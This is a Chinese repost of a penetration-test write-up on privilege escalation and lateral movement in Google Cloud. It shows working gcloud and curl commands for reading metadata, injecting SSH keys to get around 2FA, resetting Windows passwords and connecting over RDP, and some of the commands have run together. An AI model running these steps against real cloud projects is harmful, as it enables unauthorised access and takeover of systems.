GCP环境中的枚举和横向移动一例
2022-6-2 20:26:12 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

初始访问一带而过,通过收集信息搜集到一个scriptcase程序的网站,通过爆破拿到账号密码

枚举和权限提升

使用运行 scriptcase 服务的守护进程帐户登陆实例

当登陆特定的云环境时,最好使用环境提供的本机工具来执行初始枚举(例如 AWS 中的 aws-cli 或 GCP 中的gcloud/gutils)

看到当前账户(守护进程帐户)无权创建运行 gcloud文件所需的文件夹。尝试手动下载二进制文件到tmp目录然后运行。查看一下我们的帐户信息。

默认shell是nologin,无法交互式使用,

使用gcloud 需要主文件夹创建配置文件,手动在tmp创建

每当在 GCP 中创建实例时,默认会为创建一个关联的服务帐户,现在可以枚举账户

INSTANCEID=$(curl http://metadata.google.internal/computeMetadata/v1/instance/id -H "Metadata-Flavor:Google" -s)FULLZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone -H "Metadata-Flavor:Google" -s)gcloud compute instances describe $INSTANCEID --zone $FULLZONE

editor角色是与服务帐户关联的默认角色,它允许privesc。尝试修改实例元数据以注入 ssh 密钥

(参考https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)。
首先,检查是否已经有一些可以替换的用户密钥。

获取实例元数据

INSTANCEID=$(curl http://metadata.google.internal/computeMetadata/v1/instance/id -H "Metadata-Flavor:Google" -s)FULLZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone-H "Metadata-Flavor: Google" -s)gcloud compute instances describe $INSTANCEID --zone $FULLZONE

此实例元数据中似乎没有任何 ssh 密钥。按常理来讲,它应该是这样的(下图来自本项目另一个实例,在此只是举个例子)

本实例中,可以获得一条信息

-key: enable-oslogin

这个稍后讨论

现在让尝试将我们的密钥注入到实例元数据中:

创建密钥

ssh-keygen -t rsa -C "shenanigans" -f ./key -P "" && cat ./key.pubgcloud compute instances add-metadata instance012 --metadata-from-file ssh-keys=meta.txt

注入元数据

尝试

我们的 ssh 密钥似乎不起作用

验证一下是否注入成功

可以看到没问题

一定有另一件事阻止我们登录。这家公司为 ssh 登录配置了强制 2FA,我们没有为我们的帐户创建第二个因素。需要找到绕过它的方法。

如果您读了以上 Gitlab 的文章,结合上面获得的信息 -key: enable-oslogin文章解释说 2FA 的要求并未针对服务帐户强制执行。请记住,我们当前作为 gcloud 计算实例服务帐户运行(可以使用 auth 命令查看):

GCP 的另一个功能是,默认情况下从API 运行ssh 命令将为你的服务帐户创建密钥,将它们注入目标实例(在本例中为 localhost)并允许您加入 sudoers 组,让我们试一试:

gcloud compute ssh $INSTANCENAME

创建我们的密钥并注入它们

成功提权,现在进行横向移动

枚举项目中的实例

gcloud compute instances list

ssh 命令也应该适用于其他实例

由于某种原因,部分实例没有响应我们的 ssh 命令

进行了快速端口扫描后,发现这个项目既有 Linux 又有 Windows 机器

扫描实例并不总是确定其操作系统的最佳方法。你可能正在执行红队任务,并且可能有 IDS 监视,用nmap也不方便

有一种解决方法:当查询实例信息时,可以在 JSON 结果中获得的参数之一是许可信息。这应该允许您推断实例操作系统。我们可以通过以下方式查询:

根据许可记录枚举操作系统信息

INSTANCES=$(gcloud compute instances list — format=json | jq -r .[].name)ZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone -H "Metadata-Flavor: Google" -s | cut -d/ -f4)for i in $(echo $INSTANCES); do echo "$i:" && gcloud compute instances describe g-shr-scriptcase-01 --zone $ZONE --format=json | jq-r .disks[].licenses[] | rev | cut -d / -f 1 | rev && echo; done

现在可以看到实例的操作系统,若是转向windows系统,则使用类似compute ssh的命令

gcloud compute reset-windows-password g-xbz-qlikview-01 --user=shenanigans

(参考https://medium.com/@tomaszwybraniec/google-cloud-platform-pentest-notes-service-accounts-b960dc59d93a)

使用proxychains登录

proxychains4 xfreerdp /u:shenanigans /p:';QfJt@fJt\fJtHfJt4)L' /v:172.21.31.8

From:https://securityshenanigans.medium.com/enumeration-and-lateral-movement-in-gcp-environments-c3b82d342794

文章来源: http://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651868168&idx=1&sn=7c5232de0e65dafcd4b35e1b672c9282&chksm=8442b4efb3353df998becb346198346e11a2200d32467aae5a935116fc18afe1a24a7f9ddd5a#rd
如有侵权请联系:admin#unsafe.sh